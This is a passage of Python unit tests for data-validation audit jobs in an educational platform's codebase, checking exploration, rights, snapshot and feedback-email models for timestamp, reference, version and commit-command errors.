run_job_and_check_output(self, expected_output) def test_model_with_non_existent_thread_id(self): feedback_models.GeneralFeedbackThreadModel.get_by_id( self.thread_id).delete() expected_output = [( u'[u\'failed validation check for item.id.thread_id field check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u"Entity id %s: based on field item.id.thread_id having value ' '%s, expect model GeneralFeedbackThreadModel with ' 'id %s but it doesn\'t exist"]]') % ( self.model_instance.id, self.thread_id, self.thread_id)] run_job_and_check_output(self, expected_output) def test_model_with_invalid_reply_to_id(self): while len( self.model_instance.reply_to_id) <= ( email_models.REPLY_TO_ID_LENGTH): self.model_instance.reply_to_id = ( self.model_instance.reply_to_id + 'invalid') self.model_instance.put() expected_output = [( u'[u\'failed validation check for reply_to_id length check of ' 'GeneralFeedbackEmailReplyToIdModel\', ' '[u\'Entity id %s: reply_to_id %s should have length less than or ' 'equal to %s but instead has length %s\']]' ) % ( self.model_instance.id, self.model_instance.reply_to_id, email_models.REPLY_TO_ID_LENGTH, len(self.model_instance.reply_to_id))] run_job_and_check_output(self, expected_output) class ExplorationModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) language_codes = ['ar', 'en', 'en'] explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = exp_models.ExplorationModel.get_by_id('0') self.model_instance_1 = exp_models.ExplorationModel.get_by_id('1') self.model_instance_2 = exp_models.ExplorationModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.ExplorationModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_schema(self): expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'ExplorationModel\', ' '[u\'Entity id %s: Entity fails domain validation with the ' 'error Invalid language_code: %s\']]' ) % (self.model_instance_0.id, self.model_instance_0.language_code), u'[u\'fully-validated ExplorationModel\', 2]'] with self.swap( constants, 'ALL_LANGUAGE_CODES', [{ 'code': 'en', 'description': 'English'}]): run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_commit_log_entry_model_failure(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-0-1').delete() expected_output = [ ( u'[u\'failed validation check for ' 'exploration_commit_log_entry_ids field check of ' 'ExplorationModel\', ' '[u"Entity id 0: based on field ' 'exploration_commit_log_entry_ids having value ' 'exploration-0-1, expect model ExplorationCommitLogEntryModel ' 'with id exploration-0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_summary_model_failure(self): exp_models.ExpSummaryModel.get_by_id('0').delete() expected_output = [ ( u'[u\'failed validation check for exp_summary_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field exp_summary_ids having ' 'value 0, expect model ExpSummaryModel with id 0 ' 'but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_rights_model_failure(self): exp_models.ExplorationRightsModel.get_by_id( '0').delete(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field exploration_rights_ids ' 'having value 0, expect model ExplorationRightsModel ' 'with id 0 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): exp_models.ExplorationSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ExplorationSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): exp_models.ExplorationSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of ExplorationModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model ExplorationSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ExplorationSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ExplorationSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: if exp.id != '0': exp_services.save_new_exploration(self.owner_id, exp) else: exp_services.save_new_exploration(self.user_id, exp) self.model_instance_0 = ( exp_models.ExplorationSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationSnapshotMetadataModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field exploration_ids ' 'having value 0, expect model ExplorationModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationSnapshotMetadataModel\', 2]')] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'ExplorationSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration model ' 'version check of ExplorationSnapshotMetadataModel\', ' '[u\'Entity id 0-3: Exploration model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ExplorationSnapshotMetadataModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_state' }, { 'cmd': 'delete_state', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit ' 'cmd delete_state check of ' 'ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_state\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'state_name, The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit ' 'cmd add_state check of ' 'ExplorationSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_state\'} ' 'failed with error: The following required attributes ' 'are missing: state_name"]]' ), u'[u\'fully-validated ExplorationSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ExplorationSnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = ( exp_models.ExplorationSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationSnapshotContentModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationSnapshotContentModel\', ' '[u"Entity id 0-1: based on field exploration_ids ' 'having value 0, expect model ExplorationModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration model ' 'version check of ExplorationSnapshotContentModel\', ' '[u\'Entity id 0-3: Exploration model corresponding to ' 'id 0 has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ), ( u'[u\'fully-validated ExplorationSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRightsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationRightsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) rights_manager.assign_role_for_exploration( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) rights_manager.assign_role_for_exploration( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) self.model_instance_0 = exp_models.ExplorationRightsModel.get_by_id('0') self.model_instance_1 = exp_models.ExplorationRightsModel.get_by_id('1') self.model_instance_2 = exp_models.ExplorationRightsModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.ExplorationRightsModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_exploration(self.owner, '0') expected_output = [ u'[u\'fully-validated ExplorationRightsModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationRightsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRightsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_first_published_datetime_than_current_time(self): rights_manager.publish_exploration(self.owner, '0') rights_manager.publish_exploration(self.owner, '1') self.model_instance_0.first_published_msec = ( self.model_instance_0.first_published_msec * 1000000.0) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for first published msec check ' 'of ExplorationRightsModel\', ' '[u\'Entity id 0: The first_published_msec field has a ' 'value %s which is greater than the time when the job was ' 'run\']]' ) % (self.model_instance_0.first_published_msec), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field exploration_ids having ' 'value 0, expect model ExplorationModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_cloned_from_exploration_model_failure(self): self.model_instance_0.cloned_from = 'invalid' self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for ' 'cloned_from_exploration_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field cloned_from_exploration_ids ' 'having value invalid, expect model ExplorationModel with id ' 'invalid but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_exploration( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ' 'ExplorationRightsSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of ExplorationRightsModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model ExplorationRightsSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated ExplorationRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRightsSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ExplorationRightsSnapshotMetadataModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: if exp.id != '0': exp_services.save_new_exploration(self.owner_id, exp) else: exp_services.save_new_exploration(self.user_id, exp) self.model_instance_0 = ( exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationRightsSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationRightsSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated ExplorationRightsSnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_rights_model_failure(self): exp_models.ExplorationRightsModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field exploration_rights_ids ' 'having value 0, expect model ExplorationRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_rights_ids having value 0, expect model ' 'ExplorationRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationRightsSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration rights model ' 'version check of ExplorationRightsSnapshotMetadataModel\', ' '[u\'Entity id 0-3: ExplorationRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'change_exploration_status', 'old_status': rights_manager.ACTIVITY_STATUS_PUBLIC, }, { 'cmd': 'release_ownership', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_exploration_status check of ' 'ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'old_status\': u\'public\', ' 'u\'cmd\': u\'change_exploration_status\'} ' 'failed with error: The following required ' 'attributes are missing: new_status"]]' ), ( u'[u\'failed validation check for commit cmd ' 'release_ownership check of ' 'ExplorationRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'release_ownership\', ' 'u\'invalid_attribute\': u\'invalid\'} ' 'failed with error: The following extra attributes ' 'are present: invalid_attribute"]]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRightsSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(ExplorationRightsSnapshotContentModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = ( exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( exp_models.ExplorationRightsSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationRightsSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated ExplorationRightsSnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationRightsSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRightsSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationRightsModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationRightsSnapshotContentModel\', ' '[u"Entity id 0-1: based on field exploration_rights_ids ' 'having value 0, expect model ExplorationRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'exploration_rights_ids having value 0, expect model ' 'ExplorationRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'ExplorationRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationRightsSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration rights model ' 'version check of ExplorationRightsSnapshotContentModel\', ' '[u\'Entity id 0-3: ExplorationRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot content model id\']]' ), ( u'[u\'fully-validated ExplorationRightsSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationCommitLogEntryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationCommitLogEntryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' 